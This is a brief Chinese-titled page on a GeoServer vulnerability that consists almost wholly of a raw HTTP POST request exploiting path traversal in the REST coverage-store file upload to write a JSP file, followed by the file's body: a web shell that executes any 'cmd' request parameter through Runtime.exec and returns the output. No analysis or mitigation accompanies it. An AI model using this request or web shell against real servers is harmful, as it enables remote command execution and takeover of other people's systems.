geoserver漏洞解析以及测试方法

POST /geoserver/rest/workspaces/nurc/coveragestores/mosaic/file.shp?filename=../../../../shell/1.jsp HTTP/1.1

Host: localhost:8080

Content-Length: 370

sec-ch-ua: "Not_A Brand";v="8", "Chromium";v="120"        

sec-ch-ua-mobile: ?0

Wicket-FocusedElementId: id39

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.199 Safari/537.36

Content-Type: multipart/form-data; boundary-----WebKitFormBoundaryfoycybhDiQZEqxoy

Accept: application/xml, text/xml, */*; q=0.01

Wicket-Ajax-BaseURL: wicket/bookmarkable/org.geoserver.web.data.store.CoverageStoreEditPage?7&storeName=mosaic&wsName=nurc

X-Requested-With: XMLHttpRequest

Wicket-Ajax: true

sec-ch-ua-platform: "Windows"

Origin: http://localhost:8080

Sec-Fetch-Site: same-origin

Sec-Fetch-Mode: cors

Sec-Fetch-Dest: empty

Referer: http://localhost:8080/geoserver/web/wicket/bookmarkable/org.geoserver.web.data.store.CoverageStoreEditPage?7&storeName=mosaic&wsName=nurc

Accept-Encoding: gzip, deflate, br

Accept-Language: zh-CN,zh;q=0.9

Cookie:JSESSIONID=52159346772CE228794C0E097A442D9F

Connection: close

<%

    if(request.getParameter("cmd") != null) {

        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();        

        int a = -1;

        byte[] b = new byte[2048];

        out.print("

");
        while((a=in.read(b))!=-1) {
            out.print(new String(b));
        }
        out.print("

");

    }

%>